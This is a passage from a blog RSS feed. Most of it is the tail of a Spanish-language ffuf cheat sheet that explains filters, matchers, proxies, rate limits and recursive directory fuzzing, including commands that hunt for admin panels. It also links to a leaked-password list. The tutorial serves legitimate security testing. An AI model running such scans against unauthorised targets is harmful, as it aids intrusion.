&lt;/ul&gt;
&lt;h3&gt;Delays (Retrasos)&lt;/h3&gt;
&lt;p&gt;Introduce retrasos entre las solicitudes para manejar mejor el flujo de tráfico y reducir la carga en el servidor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -t 2 -p 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t 2&lt;/code&gt;: Usa 2 hilos concurrentes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 1&lt;/code&gt;: Introduce un retraso de 1 segundo entre las solicitudes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Filtros (Filters)&lt;/h2&gt;
&lt;p&gt;Los filtros nos permiten excluir respuestas no deseadas basándose en diferentes criterios, optimizando los resultados del fuzzing.&lt;/p&gt;
&lt;h3&gt;Filtrar Códigos HTTP 301 y 302&lt;/h3&gt;
&lt;p&gt;Excluye respuestas que redirigen, enfocándose en respuestas finales.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -fc 301,302 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-fc 301,302&lt;/code&gt;: Filtra y excluye respuestas con códigos de estado 301 y 302.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Filtrar por Tamaño de Respuesta&lt;/h3&gt;
&lt;p&gt;Excluye respuestas que no coinciden con un tamaño específico, lo que nos puede ayudar a identificar contenido único.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -fs 2003 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-fs 2003&lt;/code&gt;: Filtra respuestas que tienen exactamente 2003 bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Filtrar por Número de Líneas&lt;/h3&gt;
&lt;p&gt;Excluye respuestas basadas en el número de líneas, útil para filtrar contenido genérico.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -fl 5 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-fl 5&lt;/code&gt;: Filtra respuestas que tienen exactamente 5 líneas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Filtrar por Conteo de Palabras&lt;/h3&gt;
&lt;p&gt;Excluye respuestas que no tengan un número específico de palabras, nos ayuda a identificar respuestas únicas o sensibles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -fw 10 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-fw 10&lt;/code&gt;: Filtra respuestas que tienen exactamente 10 palabras.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Calibrar Opciones de Filtrado Automáticamente&lt;/h3&gt;
&lt;p&gt;Permite a &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; ajustar automáticamente las opciones de filtrado basándose en las respuestas recibidas, optimizando el proceso de fuzzing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -ac -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-ac&lt;/code&gt;: Habilita la calibración automática de filtros para mejorar la precisión de los resultados.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Matchers&lt;/h2&gt;
&lt;p&gt;Los matchers son unas reglas o parámetros que definen cómo &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; interpreta y filtra las respuestas basándose en diferentes criterios.&lt;/p&gt;
&lt;h3&gt;Coincidir Código de Estado&lt;/h3&gt;
&lt;p&gt;Filtra resultados que coincidan con un código de estado HTTP específico, facilitando la identificación de respuestas exitosas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -mc 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-mc 200&lt;/code&gt;: Muestra solo las respuestas con código de estado 200.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Coincidir Tamaño de Respuesta&lt;/h3&gt;
&lt;p&gt;Filtra resultados basados en el tamaño exacto de la respuesta, útil para identificar respuestas únicas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ms 1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-ms 1000&lt;/code&gt;: Muestra solo las respuestas que tienen exactamente 1000 bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Coincidencia de un Rango de Tamaños de Respuesta&lt;/h4&gt;
&lt;p&gt;Filtra respuestas dentro de un rango específico de tamaños, ofreciendo mayor flexibilidad.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ms 900-1100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-ms 900-1100&lt;/code&gt;: Muestra solo las respuestas que tienen entre 900 y 1100 bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Coincidencia por Conteo de Palabras&lt;/h3&gt;
&lt;p&gt;Filtra resultados basados en el conteo de palabras en la respuesta, ayudando a identificar contenido relevante.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -mw 50
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-mw 50&lt;/code&gt;: Muestra solo las respuestas que tienen exactamente 50 palabras.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Coincidencia por Número de Líneas de Respuesta&lt;/h3&gt;
&lt;p&gt;Filtra resultados basados en el número de líneas de la respuesta, útil para identificar respuestas únicas o relevantes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ml 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-ml 10&lt;/code&gt;: Muestra solo las respuestas que tienen exactamente 10 líneas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Regex Matching&lt;/h3&gt;
&lt;p&gt;Permite filtrar respuestas que coincidan con una expresión regular específica, ofreciendonos una forma poderosa para identificar patrones en las respuestas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -mr &quot;success|welcome&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-mr &quot;success|welcome&quot;&lt;/code&gt;: Muestra solo las respuestas que contienen las palabras &quot;success&quot; o &quot;welcome&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Opciones de Salida (Output Options)&lt;/h2&gt;
&lt;p&gt;Guardar y exportar los resultados del fuzzing es esencial para análisis posteriores y documentación.&lt;/p&gt;
&lt;h3&gt;Guardar Resultados en JSON&lt;/h3&gt;
&lt;p&gt;Exportar los resultados en formato JSON, facilitando su integración con otras herramientas para su análisis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-o results.json&lt;/code&gt;: Define el archivo de salida.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-of json&lt;/code&gt;: Especifica el formato de salida como JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Guardar Resultados en CSV&lt;/h3&gt;
&lt;p&gt;Exportar los resultados en formato CSV, ideal para análisis en hojas de cálculo o bases de datos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results.csv -of csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-o results.csv&lt;/code&gt;: Define el archivo de salida.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-of csv&lt;/code&gt;: Especifica el formato de salida como CSV.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Guardar Salida en Todos los Formatos Soportados&lt;/h3&gt;
&lt;p&gt;Permite guardar los resultados en todos los formatos disponibles simultáneamente, facilitando múltiples tipos de análisis.0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results -of all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-o results&lt;/code&gt;: Define el prefijo del archivo de salida.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-of all&lt;/code&gt;: Guarda los resultados en todos los formatos soportados.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proxy&lt;/h2&gt;
&lt;p&gt;El uso de proxies es fundamental que nos permite monitorear y manipular el tráfico HTTP durante las pruebas de fuzzing.&lt;/p&gt;
&lt;h3&gt;Proxy HTTP&lt;/h3&gt;
&lt;p&gt;Redirige las solicitudes a través de un proxy HTTP, útil para inspeccionar el tráfico con herramientas como Burp Suite, Caido y OWASP ZAP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -x http://127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-x http://127.0.0.1:8080&lt;/code&gt;: Define la URL del proxy HTTP.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Proxy SOCKS&lt;/h3&gt;
&lt;p&gt;Utilizar un proxy SOCKS para una mayor flexibilidad y compatibilidad con diferentes tipos de tráfico.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -x socks5://127.0.0.1:1080 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-x socks5://127.0.0.1:1080&lt;/code&gt;: Define la URL del proxy SOCKS.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Proxy de Reproducción (Replay Proxy)&lt;/h3&gt;
&lt;p&gt;Reproducir las solicitudes a través de un proxy, permitiendo la inspección y modificación de las mismas en tiempo real.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -replay-proxy http://127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-replay-proxy http://127.0.0.1:8080&lt;/code&gt;: Define la URL del proxy de reproducción.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Límites de Tiempo (Time Limits)&lt;/h2&gt;
&lt;p&gt;Controlar el tiempo de ejecución de tus pruebas es esencial para gestionar recursos y evitar bloqueos prolongados.&lt;/p&gt;
&lt;h3&gt;Establecer un Límite de Tiempo Máximo&lt;/h3&gt;
&lt;p&gt;Define el tiempo máximo permitido para la ejecución completa del escaneo, evitando que &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; se ejecute indefinidamente.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -maxtime 60
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-maxtime 60&lt;/code&gt;: Establece un límite de tiempo de 60 segundos para toda la ejecución.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Límite de Tiempo por Trabajo&lt;/h3&gt;
&lt;p&gt;Definir un límite de tiempo específico para cada trabajo individual, asegurando que ninguna solicitud individual consuma demasiado tiempo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -maxtime-job 60
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-maxtime-job 60&lt;/code&gt;: Establece un límite de tiempo de 60 segundos para cada solicitud individual.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Otras Opciones Útiles&lt;/h2&gt;
&lt;p&gt;Podemos usar Ffuf en otro tipo de usos que combinan múltiples opciones para maximizar la eficacia de nuestras pruebas de de fuzzing.&lt;/p&gt;
&lt;h3&gt;Fuzzing con Métodos HTTP Personalizados&lt;/h3&gt;
&lt;p&gt;Además de los métodos HTTP estándar como GET y POST, &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; permite utilizar métodos personalizados para interactuar con aplicaciones que dependen de otros métodos HTTP, como PUT, DELETE o PATCH.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/resource/FUZZ -X PUT -d &apos;{&quot;data&quot;:&quot;test&quot;}&apos; -H &quot;Content-Type: application/json&quot; -mc 201 -o put_fuzz.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-X PUT&lt;/code&gt;: Establece el método HTTP a PUT.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d &apos;{&quot;data&quot;:&quot;test&quot;}&apos;&lt;/code&gt;: Define el cuerpo de la solicitud con datos JSON.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-H &quot;Content-Type: application/json&quot;&lt;/code&gt;: Establece el encabezado &lt;code&gt;Content-Type&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-mc 201&lt;/code&gt;: Filtra respuestas con el código de estado 201 (Created).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o put_fuzz.json -of json&lt;/code&gt;: Guarda los resultados en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Uso Práctico&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Este comando es útil para probar endpoints que aceptan métodos HTTP menos comunes, como la creación de recursos a través de solicitudes PUT.&lt;/p&gt;
&lt;h3&gt;Autenticación de Proxy&lt;/h3&gt;
&lt;p&gt;Al trabajar a través de un proxy que requiere autenticación, es esencial proporcionar las credenciales correctas para que &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; pueda realizar las solicitudes adecuadamente.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -x http://username:password@127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ -o proxy_auth_fuzz.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-x http://username:password@127.0.0.1:8080&lt;/code&gt;: Define el proxy HTTP con credenciales.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w wordlist.txt -u https://host.name/FUZZ&lt;/code&gt;: Configura la wordlist y la URL objetivo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o proxy_auth_fuzz.json -of json&lt;/code&gt;: Guarda los resultados en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Uso Práctico&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ideal para entornos corporativos donde el tráfico debe pasar a través de proxies autenticados, permitiendo realizar fuzzing sin interrupciones.&lt;/p&gt;
&lt;h3&gt;Fuzzing Adaptativo con Límites de Tasa Dinámicos&lt;/h3&gt;
&lt;p&gt;Implementa un fuzzing adaptativo que ajusta dinámicamente los límites de tasa basándose en la respuesta del servidor, evitando sobrecargas y posibles bloqueos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -rate 100 -rate-step -50 -rate-min 10 -ac -o adaptive_fuzz.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-rate 100&lt;/code&gt;: Comienza con 100 solicitudes por segundo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-rate-min 10&lt;/code&gt;: No reduce la tasa por debajo de 10 solicitudes por segundo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-ac&lt;/code&gt;: Habilita la calibración automática.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o adaptive_fuzz.json -of json&lt;/code&gt;: Guarda los resultados en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Uso Práctico&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ideal para entornos donde la estabilidad del servidor es crítica y deseas minimizar la posibilidad de ser bloqueado mientras realizas pruebas intensivas.&lt;/p&gt;
&lt;h3&gt;Recursión Condicional Basada en Matchers&lt;/h3&gt;
&lt;p&gt;Realiza fuzzing recursivo únicamente cuando se cumplen ciertas condiciones definidas por los matchers, optimizando el proceso y enfocándose en áreas relevantes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -recursion -recursion-depth 2 -mc 200,403 -ms 1500 -o conditional_recursion.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-recursion -recursion-depth 2&lt;/code&gt;: Habilita la recursión hasta dos niveles de profundidad.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-mc 200,403&lt;/code&gt;: Solo realiza recursión si la respuesta tiene códigos de estado 200 o 403.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-ms 1500&lt;/code&gt;: Filtra respuestas con un tamaño de 1500 bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o conditional_recursion.json -of json&lt;/code&gt;: Guarda los resultados en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Uso Práctico&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Permite enfocarse en rutas que devuelven respuestas exitosas o específicas, evitando profundizar en áreas irrelevantes o protegidas, optimizando así el tiempo y recursos.&lt;/p&gt;
&lt;h3&gt;Combinación de Hilos y Matchers Específicos&lt;/h3&gt;
&lt;p&gt;Optimizar el rendimiento de &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; combinando un número específico de hilos con matchers diseñados para filtrar respuestas relevantes, asegurando una ejecución eficiente y focalizada.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -t 50 -mc 200,302 -mr &quot;Dashboard|Admin&quot; -o optimized_fuzz.json -of json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t 50&lt;/code&gt;: Utiliza 50 hilos concurrentes para maximizar la velocidad.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-mc 200,302&lt;/code&gt;: Filtra respuestas con códigos de estado 200 y 302.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-mr &quot;Dashboard|Admin&quot;&lt;/code&gt;: Filtra respuestas que contienen las palabras &quot;Dashboard&quot; o &quot;Admin&quot;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o optimized_fuzz.json -of json&lt;/code&gt;: Guarda los resultados en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Uso Práctico&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Este comando es ideal para entornos donde se necesita una exploración rápida y focalizada, como identificar paneles administrativos o dashboards que responden con códigos de estado específicos.&lt;/p&gt;
&lt;h3&gt;Tips Adicionales para Maximizar nuestro Uso de ffuf&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Personaliza tus Wordlists&lt;/strong&gt;: Aunque las wordlists predefinidas son útiles, crear wordlists personalizadas basadas en el contexto de la aplicación objetivo puede aumentar significativamente la efectividad del fuzzing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Combina con Otras Herramientas&lt;/strong&gt;: Utiliza &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; en conjunto con herramientas como Burp Suite, Caido OWASP ZAP, o Nmap para obtener una visión más completa de la seguridad de tu aplicación.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Automatiza tus Pruebas&lt;/strong&gt;: Integra &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; en tus pipelines de CI/CD para realizar pruebas automáticas durante el desarrollo.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitorea el Rendimiento&lt;/strong&gt;: La herramienta nos permite controlar los parámetros de tasa y hilos según el rendimiento del servidor objetivo y tus recursos locales para optimizar el tiempo de escaneo sin sobrecargar el sistema.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analiza los Resultados&lt;/strong&gt;: Utiliza las opciones de salida en formatos como JSON o CSV para analizar los resultados de manera más eficiente y detectar patrones o anomalías rápidamente.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Con estos consejos y la guía completa de comandos, estás listo para llevar tus pruebas de fuzzing al siguiente nivel con &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt;. ¡Feliz fuzzing!&lt;/p&gt;
&lt;h2&gt;Recursos Adicionales&lt;/h2&gt;
&lt;p&gt;Para profundizar en el uso de &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; y explorar otras opciones, te recomiendo consultar los siguientes recursos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ffuf.io/docs&quot;&gt;Documentación Oficial de ffuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielmiessler/SecLists&quot;&gt;Repositorio de SecList en GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hkphh/rockyou2024.txt&quot;&gt;Repositorio de RockYou en GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Filtración de Datos en Ecuador a fecha 2026</title><link>https://xfomar.com/posts/ecuador-data-leaks1</link><guid isPermaLink="true">https://xfomar.com/posts/ecuador-data-leaks1</guid><description>Investigación sobre filtraciones de datos en Ecuador (2019–2026). Análisis de sectores críticos, cumplimiento LOPDP y uso de herramientas de IA como vector de fuga dominante.</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;!-- Dashboard CSS --&amp;gt;
&amp;lt;style&amp;gt;
/* ─── RESET &amp;amp; BASE ─── */
.ecuador-dashboard *, .ecuador-dashboard *::before, .ecuador-dashboard *::after { box-sizing: border-box; margin: 0; padding: 0; }
.ecuador-dashboard {
--red:    #C91A1A;
--orange: #D45500;
--yellow: #9A7E00;
--blue:   #006BB3;
--green:  #008A46;
--text:   #1A1A2E;
--bg:     #F0F4FA;
--card:   #FFFFFF;
--border: #D8DFF0;
--muted:  #8A90A8;
--sub:    #5A607A;
font-family: &apos;Segoe UI&apos;, system-ui, sans-serif;
background: var(--bg);
color: var(--text);
min-height: 100vh;
padding-bottom: 60px;
}
.ecuador-dashboard ::-webkit-scrollbar { width: 5px; }
.ecuador-dashboard ::-webkit-scrollbar-track { background: var(--border); }
.ecuador-dashboard ::-webkit-scrollbar-thumb { background: var(--red); border-radius: 3px; }&lt;/p&gt;
&lt;p&gt;/* ─── ANIMATIONS ─── */
@keyframes fadeUp   { from { opacity:0; transform:translateY(18px); } to { opacity:1; transform:translateY(0); } }
@keyframes pulse    { 0%,100%{opacity:1;} 50%{opacity:.35;} }&lt;/p&gt;
&lt;p&gt;/* ─── HEADER ─── */
.ecuador-dashboard .header {
background: linear-gradient(135deg, #ffffff 0%, #eef2ff 100%);
border-bottom: 1px solid var(--border);
padding: 28px 36px 0;
position: relative;
overflow: hidden;
}
.ecuador-dashboard .header-stripe {
position: absolute; top: 0; left: 0; right: 0; height: 3px;
background: linear-gradient(90deg, transparent, var(--red), var(--orange), var(--red), transparent);
}
.ecuador-dashboard .header-top {
display: flex; align-items: flex-start;
justify-content: space-between; flex-wrap: wrap; gap: 16px; margin-bottom: 22px;
}
.ecuador-dashboard .header-badge {
display: flex; align-items: center; gap: 8px; margin-bottom: 8px;
}
.ecuador-dashboard .pulse-dot {
width: 8px; height: 8px; border-radius: 50%;
background: var(--red); animation: pulse 1.5s infinite;
}
.ecuador-dashboard .badge-label {
color: var(--red); font-size: 11px; font-family: &apos;Courier New&apos;, monospace;
